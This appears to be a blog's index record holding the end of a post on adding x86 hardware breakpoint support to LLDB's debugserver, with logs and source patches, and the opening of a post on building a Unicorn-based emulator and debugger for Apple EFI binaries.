ctx.Events().WaitForSetEvents(0x000000a5) =\u0026gt; 0x00000020 (read_packet_available ) [6582/0307]: HandleReceivedPacket (\u0026#34;Z1,10000419d,1\u0026#34;); [6582/0307]: MachProcess::CreateBreakpoint ( addr = 0x10000419d, length = 1, hardware = 1) [6582/0307]: MachProcess::EnableBreakpoint ( addr = 0x10000419d ) [6582/0307]: ::mach_vm_read ( task = 0x1503, addr = 0x10000419d, size = 1, data =\u0026gt; 0x1071ac000, dataCnt =\u0026gt; 1 ) err = 0x00000000 [6582/0307]: MachTask::ReadMemory ( addr = 0x10000419d, size = 1, buf = 0x7ff002e00080) =\u0026gt; 1 bytes read 0x10000419d: 6a [6582/0307]: ::mach_vm_region_recurse ( task = 0x1503, address =\u0026gt; 0x100003000, size =\u0026gt; 307200, nesting_depth =\u0026gt; 0, info =\u0026gt; 0x7ffee90e7fe4, infoCnt =\u0026gt; 12) addr = 0x10000419d err = 0x00000000 [6582/0307]: info = { prot = 5, max_prot = 7, inheritance = 0x00000001, offset = 0x00000000, user_tag = 0x00000000, ref_count = 804, shadow_depth = 2, ext_pager = 1, share_mode = 1, is_submap = 0, behavior = 0, object_id = 0x39b39031, us [6582/0307]: ::mach_vm_protect ( task = 0x1503, addr = 0x10000419d, size = 1, set_max = 0, prot = 3 ) err = 0x00000000 [6582/0307]: ::mach_vm_write ( task = 0x1503, addr = 0x10000419d, data = 0x106c64f18, dataCnt = 1 ) err = 0x00000000 [6582/0307]: ::mach_vm_protect ( task = 0x1503, addr = 0x10000419d, size = 1, set_max = 0, prot = 5 ) err = 0x00000000 [6582/0307]: MachTask::WriteMemory ( addr = 0x10000419d, size = 1, buf = 0x106c64f18) =\u0026gt; 1 bytes written 0x10000419d: cc [6582/0307]: ::mach_vm_read ( task = 0x1503, addr = 0x10000419d, size = 1, data =\u0026gt; 0x1071ac000, dataCnt =\u0026gt; 1 ) err = 0x00000000 [6582/0307]: MachTask::ReadMemory ( addr = 0x10000419d, size = 1, buf = 0x7ffee90e813c) =\u0026gt; 1 bytes read 0x10000419d: cc [6582/0307]: MachProcess::EnableBreakpoint ( addr = 0x10000419d ) : SUCCESS. [6582/0307]: MachProcess::CreateBreakpoint ( addr = 0x10000419d, length = 1) =\u0026gt; 0x7ff002e00078 [6582/0307]: 18455015 RNBRemote::SendPacket (OK) called [6582/0307]: ::write ( socket = 8, buffer = 0x7ffee90e7da9, length = 6) =\u0026gt; 6 err = 0x00000000 [6582/0307]: putpkt: $OK#00 [6582/0307]: sent: $OK#00 [6582/0307]: RNBRunLoopInferiorExecuting ctx.Events().WaitForSetEvents(0x000000a5) ... This time a breakpoint is set, but as a software breakpoint, because a 0xCC (i.e. an int3 instruction) byte is written to the target address and a software breakpoint exception is raised instead.\nProcess 25985 stopped * thread #1, stop reason = breakpoint 2.1 frame #0: 0x000000010000419d dyld`_dyld_start + 1 [6582/2803]: ::catch_mach_exception_raise ( exc_port = 0x2903, thd_port = 0x2703, tsk_port = 0x1503, exc_type = 6 ( EXC_BREAKPOINT ), exc_data[2] = { 0x2, 0x0 }) (...) [6582/2803]: state { task_port = 0x1503, thread_port = 0x2703, exc_type = 6 (EXC_BREAKPOINT) ... [6582/2803]: exc_data[0]: 0x2 [6582/2803]: exc_data[1]: 0x0 [6582/2803]: [ 0] # 1 tid: 0x00098dfb, pc: 0x000000010000419d, sp: 0x00007ffeefbff9c0, user: 0.000001, system: 0.000038, cpu: 0, policy: 1, run_state: 3 (waiting), flags: 0, suspend_count: 0 (current 0), sleep_time: 0 The exception address 0x10000419d we see in pc register is the same we set the breakpoint at. This time we don\u0026rsquo;t have error messages but we also don\u0026rsquo;t have real hardware breakpoints.\nStep number 5: Understanding how breakpoints are set We saw that support for hardware breakpoints already exists in the code and that it shares functions and methods with software breakpoints. Since hardware breakpoint requests are being set as software we need to trace the implementation from the packet handler.\nif (packet_cmd == \u0026#39;Z\u0026#39;) { // set switch (break_type) { case \u0026#39;0\u0026#39;: // set software breakpoint case \u0026#39;1\u0026#39;: // set hardware breakpoint { // gdb can send multiple Z packets for the same address and // these calls must be ref counted. bool hardware = (break_type == \u0026#39;1\u0026#39;); if (DNBBreakpointSet(pid, addr, byte_size, hardware)) { // We successfully created a breakpoint, now lets full out // a ref count structure with the breakID and add it to our // map. return SendPacket(\u0026#34;OK\u0026#34;); } else { // We failed to set the software breakpoint return SendPacket(\u0026#34;E09\u0026#34;); } } break; DNBBreakpointSet can be found at lldb/tools/debugserver/source/DNB.cpp.\n(...) typedef std::shared_ptr\u0026lt;MachProcess\u0026gt; MachProcessSP; (...) // Breakpoints nub_bool_t DNBBreakpointSet(nub_process_t pid, nub_addr_t addr, nub_size_t size, nub_bool_t hardware) { MachProcessSP procSP; if (GetProcessSP(pid, procSP)) return procSP-\u0026gt;CreateBreakpoint(addr, size, hardware) != NULL; return false; } The MachProcess class definition can be found at lldb/tools/debugserver/source/MacOSX/MachProcess.h and implementation at lldb/tools/debugserver/source/MacOSX/MachProcess.mm.\nDNBBreakpoint *MachProcess::CreateBreakpoint(nub_addr_t addr, nub_size_t length, bool hardware) { DNBLogThreadedIf(LOG_BREAKPOINTS, \u0026#34;MachProcess::CreateBreakpoint \u0026#34; \u0026#34;( addr = 0x%8.8llx, length = %llu,\u0026#34; \u0026#34; hardware = %i)\u0026#34;, (uint64_t)addr, (uint64_t)length, hardware); DNBBreakpoint *bp = m_breakpoints.FindByAddress(addr); if (bp) bp-\u0026gt;Retain(); else bp = m_breakpoints.Add(addr, length, hardware); if (EnableBreakpoint(addr)) { DNBLogThreadedIf(LOG_BREAKPOINTS, \u0026#34;MachProcess::CreateBreakpoint \u0026#34; \u0026#34;( addr = 0x%8.8llx, length = %llu)\u0026#34; \u0026#34; =\u0026gt; %p\u0026#34;, (uint64_t)addr, (uint64_t)length, reinterpret_cast\u0026lt;void *\u0026gt;(bp)); return bp; } else if (bp-\u0026gt;Release() == 0) { m_breakpoints.Remove(addr); } // We failed to enable the breakpoint return NULL; } The logging message at the top is the same we have seen in previous logs when we set a hardware breakpoint. Looking at this method\u0026rsquo;s code we can easily understand that we want to find EnableBreakpoint (it\u0026rsquo;s also the next method in the log).\nbool MachProcess::EnableBreakpoint(nub_addr_t addr) { DNBLogThreadedIf(LOG_BREAKPOINTS, \u0026#34;MachProcess::EnableBreakpoint ( addr = 0x%8.8llx )\u0026#34;, (uint64_t)addr); DNBBreakpoint *bp = m_breakpoints.FindByAddress(addr); if (bp) { if (bp-\u0026gt;IsEnabled()) { DNBLogWarning(\u0026#34;MachProcess::EnableBreakpoint ( addr = 0x%8.8llx ): \u0026#34; \u0026#34;breakpoint already enabled.\u0026#34;, (uint64_t)addr); return true; } else { if (bp-\u0026gt;HardwarePreferred()) { bp-\u0026gt;SetHardwareIndex(m_thread_list.EnableHardwareBreakpoint(bp)); if (bp-\u0026gt;IsHardware()) { bp-\u0026gt;SetEnabled(true); return true; } } (...) } Once again it appears that the code to deal with hardware breakpoints is already implemented. The first condition depends on bp-\u0026gt;HardwarePreferred() found at lldb/tools/debugserver/source/DNBBreakpoint.h.\n(...) bool HardwarePreferred() const { return m_hw_preferred; } bool IsHardware() const { return m_hw_index != INVALID_NUB_HW_INDEX; } uint32_t GetHardwareIndex() const { return m_hw_index; } void SetHardwareIndex(uint32_t hw_index) { m_hw_index = hw_index; } (...) private: uint32_t m_retain_count; // Each breakpoint is maintained by address and // is ref counted in case multiple people set a // breakpoint at the same address uint32_t m_byte_size; // Length in bytes of the breakpoint if set in // memory uint8_t m_opcode[8]; // Saved opcode bytes nub_addr_t m_addr; // Address of this breakpoint uint32_t m_enabled : 1, // Flags for this breakpoint m_hw_preferred : 1, // 1 if this point has been requested to be set // using hardware // (which may fail due to lack of resources) m_is_watchpoint : 1, // 1 if this is a watchpoint m_watch_read : 1, // 1 if we stop when the watched data is read // from m_watch_write : 1; // 1 if we stop when the watched data is // written to uint32_t m_hw_index; // The hardware resource index for this // breakpoint/watchpoint The condition will be true when we try to set a hardware breakpoint so it\u0026rsquo;s not a problem. What we need to care about is the result of m_thread_list.EnableHardwareBreakpoint(bp), which seems to return the debug register number where the hardware breakpoint was set (remember that x86 hardware breakpoints can be set on debug registers DR0 to DR3). Next step then is to see what m_thread_list is about. We can find the instance variable in lldb/tools/debugserver/source/MacOSX/MachProcess.h.\nMachThreadList m_thread_list; // A list of threads that is // maintained/updated after each stop And the MachThreadList class defined at lldb/tools/debugserver/source/MacOSX/MachThreadList.h.\nclass MachThreadList { public: (...) uint32_t EnableHardwareBreakpoint(const DNBBreakpoint *bp) const; bool DisableHardwareBreakpoint(const DNBBreakpoint *bp) const; uint32_t EnableHardwareWatchpoint(const DNBBreakpoint *wp) const; bool DisableHardwareWatchpoint(const DNBBreakpoint *wp) const; uint32_t NumSupportedHardwareWatchpoints() const; (...) }; And our journey through the LLDB source code is at an end, for the MachThreadList::EnableHardwareBreakpoint implementation shows the problem:\nuint32_t MachThreadList::EnableHardwareBreakpoint(const DNBBreakpoint *bp) const { if (bp != NULL) { const size_t num_threads = m_threads.size(); for (uint32_t idx = 0; idx \u0026lt; num_threads; ++idx) m_threads[idx]-\u0026gt;EnableHardwareBreakpoint(bp); } return INVALID_NUB_HW_INDEX; } The return value will always be error INVALID_NUB_HW_INDEX meaning that bp-\u0026gt;IsHardware() will fail and MachProcess::EnableBreakpoint will fall through to the software breakpoint code because the hardware breakpoint wasn\u0026rsquo;t succesfully set. Compare MachThreadList::EnableHardwareBreakpoint with the hardware watchpoints code. Hardware watchpoints are set using the same DR0-DR3 registers.\n// DNBWatchpointSet() -\u0026gt; MachProcess::CreateWatchpoint() -\u0026gt; // MachProcess::EnableWatchpoint() // -\u0026gt; MachThreadList::EnableHardwareWatchpoint(). uint32_t MachThreadList::EnableHardwareWatchpoint(const DNBBreakpoint *wp) const { uint32_t hw_index = INVALID_NUB_HW_INDEX; if (wp != NULL) { PTHREAD_MUTEX_LOCKER(locker, m_threads_mutex); const size_t num_threads = m_threads.size(); // On Mac OS X we have to prime the control registers for new threads. // We do this using the control register data for the first thread, // for lack of a better way of choosing. bool also_set_on_task = true; for (uint32_t idx = 0; idx \u0026lt; num_threads; ++idx) { if ((hw_index = m_threads[idx]-\u0026gt;EnableHardwareWatchpoint( wp, also_set_on_task)) == INVALID_NUB_HW_INDEX) { // We know that idx failed for some reason. Let\u0026#39;s rollback the // transaction for [0, idx). for (uint32_t i = 0; i \u0026lt; idx; ++i) m_threads[i]-\u0026gt;RollbackTransForHWP(); return INVALID_NUB_HW_INDEX; } also_set_on_task = false; } // Notify each thread to commit the pending transaction. for (uint32_t idx = 0; idx \u0026lt; num_threads; ++idx) m_threads[idx]-\u0026gt;FinishTransForHWP(); } return hw_index; } It is more complete and returns a valid index if everything goes well. We will use a slightly modified version of this watchpoint code for hardware breakpoints. The same will happen for disable hardware breakpoint code (currently always returns false).\nm_threads is a vector of MachThread objects defined at lldb/tools/debugserver/source/MacOSX/MachThread.h. Let\u0026rsquo;s look at the EnableHardwareBreakpoint implementation there.\nuint32_t MachThread::EnableHardwareBreakpoint(const DNBBreakpoint *bp) { if (bp != NULL \u0026amp;\u0026amp; bp-\u0026gt;IsBreakpoint()) return m_arch_up-\u0026gt;EnableHardwareBreakpoint(bp-\u0026gt;Address(), bp-\u0026gt;ByteSize()); return INVALID_NUB_HW_INDEX; } uint32_t MachThread::EnableHardwareWatchpoint(const DNBBreakpoint *wp, bool also_set_on_task) { if (wp != NULL \u0026amp;\u0026amp; wp-\u0026gt;IsWatchpoint()) return m_arch_up-\u0026gt;EnableHardwareWatchpoint( wp-\u0026gt;Address(), wp-\u0026gt;ByteSize(), wp-\u0026gt;WatchpointRead(), wp-\u0026gt;WatchpointWrite(), also_set_on_task); return INVALID_NUB_HW_INDEX; } There is a call to a method belonging to whatever class m_arch_up refers to.\nstd::unique_ptr\u0026lt;DNBArchProtocol\u0026gt; m_arch_up; // Arch specific information for register state and more We need to understand what DNBArchProtocol is all about.\nStep 6: CPU architecture implementation The DNBArchProtocol is the class each CPU specific implementation derives from. This is where LLDB object-based architecture makes sense. To extend LLDB to a new CPU and/or platform we just need to implement the methods defined in DNBArchProtocol class for that specific target.\nWe can find all the different CPUs supported for MacOSX targets.\nlldb/tools/debugserver/source/MacOSX/arm lldb/tools/debugserver/source/MacOSX/arm64 lldb/tools/debugserver/source/MacOSX/i386 lldb/tools/debugserver/source/MacOSX/ppc lldb/tools/debugserver/source/MacOSX/x86_64 The x86_64 specific implementation:\nclass DNBArchImplX86_64 : public DNBArchProtocol { public: (...) virtual uint32_t NumSupportedHardwareWatchpoints(); virtual uint32_t EnableHardwareWatchpoint(nub_addr_t addr, nub_size_t size, bool read, bool write, bool also_set_on_task); virtual bool DisableHardwareWatchpoint(uint32_t hw_break_index, bool also_set_on_task); virtual uint32_t GetHardwareWatchpointHit(nub_addr_t \u0026amp;addr); (...) }; And ARM implementation:\nclass DNBArchMachARM : public DNBArchProtocol { public: (...) virtual uint32_t NumSupportedHardwareBreakpoints(); virtual uint32_t NumSupportedHardwareWatchpoints(); virtual uint32_t EnableHardwareBreakpoint(nub_addr_t addr, nub_size_t size); virtual bool DisableHardwareBreakpoint(uint32_t hw_break_index); virtual uint32_t EnableHardwareWatchpoint(nub_addr_t addr, nub_size_t size, bool read, bool write, bool also_set_on_task); virtual bool DisableHardwareWatchpoint(uint32_t hw_break_index, bool also_set_on_task); virtual bool DisableHardwareWatchpoint_helper(uint32_t hw_break_index, bool also_set_on_task); virtual bool ReenableHardwareWatchpoint(uint32_t hw_break_index); virtual bool ReenableHardwareWatchpoint_helper(uint32_t hw_break_index); (...) }; Now it is clear that the x86_64 implementation lacks hardware breakpoints while ARM has it (but not ARM64).\nWhat we need to do is to implement NumSupportedHardwareBreakpoints, EnableHardwareBreakpoint and DisableHardwareBreakpoint in lldb/tools/debugserver/source/MacOSX/x86_64/DNBArchImplX86_64.cpp.\nMy patch does exactly this. I copied the watchpoint methods and modified it where necessary because of differences between enabling/disabling hardware breakpoints and watchpoints. I have also added the argument bool also_set_on_task to the prototype. The reason for this is that if we set the hardware breakpoint on the task port then newly created threads will inherit the hardware breakpoint, otherwise the breakpoint will only be set on existing threads. This would be a problem if the code that we want to breakpoint would hit on a new thread after we set it.\nThe other major modification that we need to perform is at MachThreadList::EnableHardwareBreakpoint and MachThreadList::DisableHardwareBreakpoint because the current implementation will always return errors and false values as we have seen before.\nThe updated version is essentially a copy of the watchpoints implementation with necessary modifications (calling EnableHardwareBreakpoint instead of EnableHardwareWatchpoint:\nuint32_t MachThreadList::EnableHardwareBreakpoint(const DNBBreakpoint *bp) const { uint32_t hw_index = INVALID_NUB_HW_INDEX; if (bp != NULL) { PTHREAD_MUTEX_LOCKER(locker, m_threads_mutex); const size_t num_threads = m_threads.size(); // On Mac OS X we have to prime the control registers for new threads. // We do this using the control register data for the first thread, // for lack of a better way of choosing. bool also_set_on_task = true; for (uint32_t idx = 0; idx \u0026lt; num_threads; ++idx) { if ((hw_index = m_threads[idx]-\u0026gt;EnableHardwareBreakpoint( bp, also_set_on_task)) == INVALID_NUB_HW_INDEX) { // We know that idx failed for some reason. Let\u0026#39;s rollback the // transaction for [0, idx). for (uint32_t i = 0; i \u0026lt; idx; ++i) { m_threads[i]-\u0026gt;RollbackTransForHWP(); } return INVALID_NUB_HW_INDEX; } also_set_on_task = false; } // Notify each thread to commit the pending transaction. for (uint32_t idx = 0; idx \u0026lt; num_threads; ++idx) { m_threads[idx]-\u0026gt;FinishTransForHWP(); } } return hw_index; } After patching and recompiling we finally have Intel 64-bit hardware breakpoint support in LLDB. The exception code for hardware breakpoints is EXC_I386_SGL, and the modified lldb and debugserver show it when the breakpoint is hit.\nProcess 25992 stopped * thread #1, stop reason = EXC_BREAKPOINT (code=EXC_I386_SGL, subcode=0x10000b1a6) frame #0: 0x000000010000b1a6 dyld`_dyld_start + 10 Testing a hardware breakpoint in a loop proves that they aren\u0026rsquo;t one shot and work as expected.\nStep 7: Caveats This implementation has a small problem (or maybe not). When the target is restarted the existing hardware breakpoints are not reenabled. This means that we need to disable and enable the hardware breakpoints again. I am not sure I am happy with this behavior. It would be better to enable all hardware breakpoints that were enabled prior to target restart, just like how software breakpoints behave. This is something that I need to explore further, and fixing it may be very simple.\nTemporary hardware breakpoints aren\u0026rsquo;t also working (they aren\u0026rsquo;t disabled when hit). Need to investigate why.\nStep 8: Conclusion I am not a fan of C++ and the object paradigm in general. My silly brain doesn\u0026rsquo;t like to think under that paradigm although I understand it is a good design choice for applications like (U)EFI parsing (my first attempt to parse EFI capsules was in C and it was a pure nightmare) and LLDB. After we understand its architecture and where to look at everything is quite easy to implement - I was genuinely surprised at the low amount of effort that it took me to get this feature done. I always overestimate the amount of work required and hence never took the effort to get it done. Clearly my bias against C++ played a role. The logging features avoided extra effort and allowed me to understand the code and find the correct spots much faster.\nYou can find the patch at github. I am not submitting the patch to LLVM, since I\u0026rsquo;m not in the mood to deal with license agreements and bureaucracy. I hereby place this code in the public domain. It is essentially the same original code slightly tweaked so I guess it inherits the LLVM license? The lldbinit script has also been updated to support hardware breakpoints and also some fixes related to Python3.\nNow LLDB is finally a real debugger!\nMaybe this can be a start to make LLDB a better debugger for reverse engineering.\nAs usual a big thanks to Jeffrey Czerniak (@geekable) for pre-publication editing.\nHave fun,\nfG!\nUpdate: LLDB project has finally integrated this feature and now it\u0026rsquo;s a real debugger :-)\n","permalink":"https://reverse.put.as/2019/11/19/how-to-make-lldb-a-real-debugger/","summary":"\u003cp\u003eThese days the de facto debugger in macOS is \u003ca href=\"https://lldb.llvm.org\"\u003eLLDB\u003c/a\u003e. Apple\u0026rsquo;s old gdb fork doesn\u0026rsquo;t work anymore and the \u003ca href=\"https://www.gnu.org/software/gdb/\"\u003eGNU gdb\u003c/a\u003e version is better these days but still quite meh (in the past it couldn\u0026rsquo;t deal with fat binary targets and I still think this holds true). So we are all essentially stuck with LLDB, warts and all. I also hate the lack of a \u003ca href=\"https://github.com/gdbinit/Gdbinit\"\u003egdbinit\u003c/a\u003e style output but Deroko started that project and I improved it with \u003ca href=\"https://github.com/gdbinit/lldbinit\"\u003elldbinit\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eBesides its horrible long command line syntax which is so unpopular that gdb-compatible commands were introduced, my biggest problem with it has been the lack of \u003cstrong\u003ex86 hardware breakpoint\u003c/strong\u003e support. While hardware breakpoints might not be needed to debug applications within Xcode, they are essential to any serious reverse engineer dealing with arbitrary untrusted targets such as malware, packers, obfuscators, and DRM. It has been a serious blocker for me against some targets and a source of immense frustration because it should be a basic debugger feature.\u003c/p\u003e\n\u003cp\u003eLast week I finally got fed up enough to dive into the LLDB C++ codebase and finally try to implement this feature. Instead of just posting a patch, this post is a journey into LLDB internals and how I implemented this feature. Hopefully it will help others exploring the LLDB codebase, which seems unfriendly because of the lack of really good documentation into its architecture. Maybe this could lead to further improvements and make LLDB more reverse engineer friendly.\u003c/p\u003e","title":"How to make LLDB a real debugger"},{"content":"In 2016 I reversed Apple\u0026rsquo;s EFI firmware password reset scheme using SCBO files. There was an old rumor that these files were able to unlock firmware password locked Macs (and even a sketchy video about a universal SCBO able to unlock any Mac). That post is available at Apple EFI firmware passwords and the SCBO myth.\nAll the interesting computing action happened at the EFI execution level. I made good reversing progress with static analysis, but dynamic analysis with a debugger would make the job much easier. I love debuggers because they allow you to quickly test ideas and cut corners while reversing a target. Reading disassembly listings for long periods is tiring. (U)EFI debuggers can be found in the market but they are usually quite expensive (a couple thousand USD).\nMy solution was to create an emulator and debugger based on Unicorn. At the time I was working a lot with Unicorn so it was natural to use it to solve this problem (\u0026ldquo;if all you have is a hammer, everything looks like a nail\u0026rdquo;). After I wrote the blogpost some people directed me to some emulators (TianoCore EmulatorPkg and efiperun). I never tried them to see if they contained an interactive debugger like I wanted. The pain wasn\u0026rsquo;t big since this was a couple of days project and it was quite fun to write.\nFor different reasons I never released the code and three years later it is finally time to do it and explain how it was built. The main driver was \u0026ldquo;I want things working ASAP\u0026rdquo; so code quality isn\u0026rsquo;t the best and security is almost nonexistent (C is a lot more fun when you don\u0026rsquo;t care about security - that takes time and energy to implement). I spent some time cleaning up the code and fixing a few bugs found while writing this post.\nThe debugger has a gdbinit appearance and most cli commands are copied from gdb. gdb command syntax is far from perfect but still far better than LLDB.\nThe posted code isn\u0026rsquo;t a generic EFI emulator. This is not an impossible mission (keep reading) but I think that is a waste of time and effort. It is more efficient to solve the problems posed by specific targets you want to debug rather than to solve all problems before you even start.\nThe main goal of this post is to show you how to solve emulation problems related to EFI and Unicorn. On top of this codebase it is very easy to solve other problems and extend the concept to other targets. For example, I used this code to build a macOS kernel extension (kext) emulator and debugger. The target was an obfuscated/encrypted kext and debugging it this way is easier because of some code stepping complications in remote kernel debugging.\nThe research was done with MacBook Pro 8,2, which is already an old system. So firmware version is also old and doesn\u0026rsquo;t contain updates to Apple\u0026rsquo;s EFI (lots of changes did happen). This shouldn\u0026rsquo;t invalidate most techniques described here, it just might need extra reverse engineering work to understand how to emulate any newer features.\nThe problem and its environment Again, my goal was to reverse engineer the scheme that allegedly allowed Mac firmware passwords to be reset using a SCBO file. You can read about the whole reverse engineering process here. Judging from public descriptions and my own knowledge, it was obvious that everything was happening at EFI level, more specifically, at the DXE phase.\nThe DXE phase is the last EFI initialization before control is passed off to the boot loader and the operating system is finally booted. This is the richest EFI initialization phase, with lots of drivers and services initialized. The runtime is rich enough to run Tetris and other games. As reference you can use my EFI Monsters slides, where I explain bits and pieces of the EFI world.\nWhile all this code is running before we have an operating system booted and loaded, it is still x86 code (16, 32, and 64 bit), using PE file format (more specifically TE, PE32, PE32+). We could build a special loader and run one of these binaries as a Windows user process, or we could build another loader to run these binaries as macOS or Linux processes. It\u0026rsquo;s just x86 code after all, encapsulated in a specific file format. If we could map the code and fix up whatever is needed specific to each platform, the code would be executed. This is precisely what we are going to do but inside the Unicorn emulator platform.\nUnicorn Unicorn describes itself as:\nUnicorn is a lightweight multi-platform, multi-architecture CPU emulator framework.\nIt\u0026rsquo;s basically a scriptable CPU emulator based on QEMU. It is more flexible and faster to setup than QEMU, and can run arbitrary pieces of code (for example, emulate shellcode snippets or string decryption routines extracted from binaries). If C isn\u0026rsquo;t your favorite language there are bindings for several other languanges.\nYou can find a Unicorn vs QEMU comparison here.\nUnicorn is a great tool and I have written a few tools based on it to assist in reverse engineering processes. The list of tools written using it is already extensive.\nPersonally I like how easy it is to create a small program to emulate a piece of binary code and instrument it. It is not perfect, but with some creativity it is possible to workaround its problems and achieve what we want.\nUnicorn Memory Layout Whatever memory is needed for emulation must be previously allocated (mapped to be more specific). In this case we need to map memory inside Unicorn emulator for the executable binaries, stack and heap areas, EFI related system tables, and trampolines (more on this later on).\nTo simplify all this and because Unicorn demands 4K page aligned addresses I have created below\u0026rsquo;s well defined and separate memory areas.\n#define EXEC_ADDRESS 0x10000000 #define EXEC_SIZE 64 * 1024 * 1024 #define STACK_ADDRESS 0x20000000 #define STACK_SIZE 8 * 1024 * 1024 #define EFI_SYSTEM_TABLE_ADDRESS 0x30000000 #define EFI_SYSTEM_TABLE_SIZE 2 * 1024 * 1024 #define EFI_HEAP_ADDRESS 0x40000000 #define EFI_HEAP_SIZE 64 * 1024 * 1024 #define EFI_TRAMPOLINE_ADDRESS 0x50000000 #define EFI_TRAMPOLINE_SIZE 1024 * 1024 The Unicorn API required for this task is the following:\n/* Map memory in for emulation. This API adds a memory region that can be used by emulation. @uc: handle returned by uc_open() @address: starting address of the new memory region to be mapped in. This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. @size: size of the new memory region to be mapped in. This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. @perms: Permissions for the newly mapped region. This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, or this will return with UC_ERR_ARG error. @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum for detailed error). */ UNICORN_EXPORT uc_err uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); Once all memory areas are mapped we can finally write to emulator memory. Don\u0026rsquo;t forget the important Unicorn address alignment requirement: This address must be aligned to 4KB, or this will return with UC_ERR_ARG error.\nUnicorn Hooks Unicorn hooks are one of its features that make a difference. They allow us to monitor/trace code execution, errors, and even modify code execution (with some caveats). The following Unicorn enum describes the available hooks:\n// All type of hooks for uc_hook_add() API. typedef enum uc_hook_type { // Hook all interrupt/syscall events UC_HOOK_INTR = 1 \u0026lt;\u0026lt; 0, // Hook a particular instruction - only a very small subset of instructions supported here UC_HOOK_INSN = 1 \u0026lt;\u0026lt; 1, // Hook a range of code UC_HOOK_CODE = 1 \u0026lt;\u0026lt; 2, // Hook basic blocks UC_HOOK_BLOCK = 1 \u0026lt;\u0026lt; 3, // Hook for memory read on unmapped memory UC_HOOK_MEM_READ_UNMAPPED = 1 \u0026lt;\u0026lt; 4, // Hook for invalid memory write events UC_HOOK_MEM_WRITE_UNMAPPED = 1 \u0026lt;\u0026lt; 5, // Hook for invalid memory fetch for execution events UC_HOOK_MEM_FETCH_UNMAPPED = 1 \u0026lt;\u0026lt; 6, // Hook for memory read on read-protected memory UC_HOOK_MEM_READ_PROT = 1 \u0026lt;\u0026lt; 7, // Hook for memory write on write-protected memory UC_HOOK_MEM_WRITE_PROT = 1 \u0026lt;\u0026lt; 8, // Hook for memory fetch on non-executable memory UC_HOOK_MEM_FETCH_PROT = 1 \u0026lt;\u0026lt; 9, // Hook memory read events. UC_HOOK_MEM_READ = 1 \u0026lt;\u0026lt; 10, // Hook memory write events. UC_HOOK_MEM_WRITE = 1 \u0026lt;\u0026lt; 11, // Hook memory fetch for execution events UC_HOOK_MEM_FETCH = 1 \u0026lt;\u0026lt; 12, // Hook memory read events, but only successful access. // The callback will be triggered after successful read. UC_HOOK_MEM_READ_AFTER = 1 \u0026lt;\u0026lt; 13, // Hook invalid instructions exceptions. UC_HOOK_INSN_INVALID = 1 \u0026lt;\u0026lt; 14, } uc_hook_type; For example, to trace every executed instruction we just need to add a UC_HOOK_CODE type hook that prints all executed addresses and instruction strings. To obtain the strings we need to read the instruction bytes, disassemble and finally print the instruction. It is also possible to dump register context - all the registers or just a specific register. Basically every time the registered callback is executed we can take a peek at current virtual CPU state.\nThe UC_HOOK_MEM_UNMAPPED is also very useful because it is triggered every time code running inside the emulator hits unmapped memory addresses. For example this can be used to detect addresses used by the target binaries that we forgot to map or NULL pointer dereferences. Typical debugger watchpoints can also be implemented by hooking memory read/write/execute events - this generates a callback event every time a certain memory region is read or written, and can detect execution in specific code regions.\nHook callbacks are registered using uc_hook_add:\n/* Register callback for a hook event. The callback will be run when the hook event is hit. @uc: handle returned by uc_open() @hh: hook handle returned from this registration. To be used in uc_hook_del() API @type: hook type @callback: callback to be run when instruction is hit @user_data: user-defined data. This will be passed to callback function in its last argument @user_data @begin: start address of the area where the callback is effect (inclusive) @end: end address of the area where the callback is effect (inclusive) NOTE 1: the callback is called only if related address is in range [@begin, @end] NOTE 2: if @begin \u0026gt; @end, callback is called whenever this hook type is triggered @...: variable arguments (depending on @type) NOTE: if @type = UC_HOOK_INSN, this is the instruction ID (ex: UC_X86_INS_OUT) @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum for detailed error). */ UNICORN_EXPORT uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, void *user_data, uint64_t begin, uint64_t end, ...); The callback function prototype depends on the hook type. For example the UC_HOOK_CODE hook callback:\n/* Callback function for tracing code (UC_HOOK_CODE \u0026amp; UC_HOOK_BLOCK) @address: address where the code is being executed @size: size of machine instruction(s) being executed, or 0 when size is unknown @user_data: user data passed to tracing APIs. */ typedef void (*uc_cb_hookcode_t)(uc_engine *uc, uint64_t address, uint32_t size, void *user_data); A simple code tracer callback is something as simple as:\nvoid hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { DEBUG_MSG(\u0026#34;Hit code at 0x%llx\u0026#34;, address); } We return to specific hook implementation details later on.\nParsing and validating binaries In this case we want to fully emulate EFI binaries instead of code snippets, because we have no idea where the target code is located at, so we will have to emulate from entrypoint and trace until we find out.\nThe target DXE binaries are all PE32+, meaning 64 bit code. This simplifies the loader code since we don\u0026rsquo;t need to care about 32 bit binaries. Not complicated but the less work, the better.\nThe PE file format is a bit of a mess (in my humble opinion) because of legacy reasons. Fortunately for us we don\u0026rsquo;t need to write a fully fledged PE loader. Ange Albertini file format posters are a great reference if you want to visualize and understand the PE format. Besides Microsoft PE format reference, another good reference is Wikibooks.\nThe code doesn\u0026rsquo;t implement strong PE validation, meaning no bounds checks. The PE format is complex and presents many opportunities to attack parsers but given the PoC nature of the code I didn\u0026rsquo;t spend much time caring about this. This is definitely an area for improvement, in particular if you\u0026rsquo;re focused on analyzing potentially malicious code. It is less complex than writing a parser for Windows PE files because fewer features are used in EFI files (essentially relocations and debug information).\nWhen parsing PE binaries the first thing we want to check is the legacy DOS header to verify if it\u0026rsquo;s a PE candidate file or not. In this case we only care about binaries with a magic value of IMAGE_DOS_SIGNATURE. For binaries that pass this initial test we want to check the e_lfanew field, which points us to the PE header (DOS header, PE header, optional header\u0026hellip; too many headers).\ntypedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD 